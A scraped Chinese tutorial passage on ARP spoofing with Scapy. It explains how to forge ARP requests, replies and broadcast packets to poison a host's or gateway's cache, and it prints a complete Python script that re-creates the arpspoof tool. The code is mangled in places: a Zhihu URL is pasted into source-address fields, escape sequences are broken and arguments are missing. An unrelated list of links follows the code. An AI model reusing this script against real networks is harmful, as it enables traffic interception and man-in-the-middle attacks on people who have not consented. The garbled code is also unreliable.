使用arp欺骗,可以跨冲突域抓包吗( 三 )
ARP请求的方式欺骗主机,构造的ARP包如下:pkt = Ether(src=https://www.zhihu.com/api/v4/questions/35031522/, dst=) / ARP(1.102的MAC, 网关IP地址, hwdst=1. 18MAC, pdst=1. 18IP地址, op=1)ARP请求的方式欺骗网关,构造的ARP包如下:pkt = Ether(src=https://www.zhihu.com/api/v4/questions/35031522/, dst=) / ARP(1.102的MAC, 1. 18地址, hwdst=网关MAC,pdst=网关IP地址, op=1)我们看到构造ARP请求和响应的主要区别在op的值。
目前我们欺骗的方式都是一对一欺骗的,事实上我们可以发送广播包,对所有主机进行欺骗。
广播欺骗广播欺骗,首先以太网数据包直接构造一个广播包,ARP包不用填写目标主机的信息即可。
下面是ARP广播响应包的构造方式:pkt = Ether(src=https://www.zhihu.com/api/v4/questions/35031522/mac, dst=/u0026#39;ff:ff:ff:ff:ff:ff/u0026#39;) / ARP(hwsrc=mac, psrc=args, op=2)最后综合定下和广播欺骗的方式,我们总结一个公式出来:
pkt = Ether(src=https://www.zhihu.com/api/v4/questions/35031522/攻击机MAC, dst=被欺骗主机(或网关)MAC) / ARP((hwsrc=毒化记录中的MAC, 毒化记录中的IP, hwdst=被欺骗主机MAC, pdst=被欺骗主机IP地址, op=1(或2))
概念有点绕,实践出真知。
3.1.4 发送数据包数据包构造完成之后,我们要做的就是发送了,发送数据包这里我们使用sendp方法,该方法描述如下: Send packets at layer 2 sendp(packets, , , ) -\u0026gt; None和sendp方法类似的还有一个send方法,两个方法不同的是,sendp方法工作在第二层,send方法工作在第三层。发送构造好的数据包就很简单了: sendp(pkt, inter=2, iface=网卡)3.1.5 打造你的ARPSPOOFARP欺骗的核心内容我们已经讲完了,在Kali Linux上有一款常用的ARP欺骗工具叫arpspoof。
图9
(关于arpspoof的使用可以参考我的视频教程《kali linux 渗透测试初级教程》,文末有获取方法。)
虽然我们不知道arpspoof的内部实现代码,但是我们完全可以根据目前掌握的知识,用Python来实现它。废话少说,先上代码:#!/usr/bin/python import osimport sysimport signal from scapy.all import ( get_if_hwaddr, getmacbyip, ARP, Ether, sendp)from optparse import OptionParser def main(): try: if os.geteuid() != 0: print " Run me as root" sys.exit(1) except Exception,msg: print msg usage = \u0026#39;Usage: %prog host\u0026#39; parser = OptionParser(usage) parser.add_option(\u0026#39;-i\u0026#39;, dest=\u0026#39;interface\u0026#39;, help=\u0026#39;Specify the interface to use\u0026#39;) parser.add_option(\u0026#39;-t\u0026#39;, dest=\u0026#39;target\u0026#39;, help=\u0026#39;Specify a particular host to ARP poison\u0026#39;) parser.add_option(\u0026#39;-m\u0026#39;, dest=\u0026#39;mode\u0026#39;, default=\u0026#39;req\u0026#39;, help=\u0026#39;Poisoning mode: requests (req) or replies (rep) \u0026#39;) parser.add_option(\u0026#39;-s\u0026#39;, action=\u0026#39;store_true\u0026#39;, dest=\u0026#39;summary\u0026#39;, default=False, help=\u0026#39;Show packet summary and ask for confirmation before poisoning\u0026#39;) (options, args) = parser.parse_args() if len(args) != 1 or options.interface is None: parser.print_help() sys.exit(0) mac = get_if_hwaddr(options.interface) def build_req(): if options.target is None: pkt = Ether(src=https://www.zhihu.com/api/v4/questions/35031522/mac, dst=/u0026#39;ff:ff:ff:ff:ff:ff/u0026#39;) / ARP(hwsrc=mac, psrc=args, pdst=args) elif options.target: target_mac = getmacbyip(options.target) if target_mac is None: print" Error: Could not resolve targets MAC address" sys.exit(1) pkt = Ether(src=https://www.zhihu.com/api/v4/questions/35031522/mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args, hwdst=target_mac, pdst=options.target) return pkt def build_rep(): if options.target is None: pkt = Ether(src=mac, dst=/u0026#39;ff:ff:ff:ff:ff:ff/u0026#39;) / ARP(hwsrc=mac, psrc=args, op=2) elif options.target: target_mac = getmacbyip(options.target) if target_mac is None: print" Error: Could not resolve targets MAC address" sys.exit(1) pkt = Ether(src=https://www.zhihu.com/api/v4/questions/35031522/mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args, hwdst=target_mac, pdst=options.target, op=2) return pkt if options.mode == /u0026#39;req/u0026#39;: pkt = build_req() elif options.mode == /u0026#39;rep/u0026#39;: pkt = build_rep() if options.summary is True: pkt.show() ans = raw_input(/u0026#39;/ Continue? : \u0026#39;).lower() if ans == \u0026#39;y\u0026#39; or len(ans) == 0: pass else: sys.exit(0) while True: sendp(pkt, inter=2, iface=options.interface)if __name__ == \u0026#39;__main__\u0026#39;: main()
推荐阅读
- 『先进』长江流域最先进洗舱站在宁投运 油可分离回收,水能循环使用
- 汽车|冬天怎样让车内温度快速升高?座椅加热的最佳使用方式二,外循环的作用总结
- 汽车|迈凯伦Artura不再使用迈凯伦祖传V8引擎了?
- python的html5lib这个库咋使用啊我在网上也没有找到相关文档
- 请问有哪些机器人大赛是比较权威的
- win7中本地连接跟无线网卡同时使用时是怎么样的模式
- 可不可能利用网盘的秒传功能使用伪造的MD5(或其他信息)值进行文件分享
- 为啥很多企业给用户发邮件会使用noreply/no-reply@xx.xx的邮箱
- MG|标配CarPlay系统 新款AMG A 35 L售39.98万元
- win10激活的问题
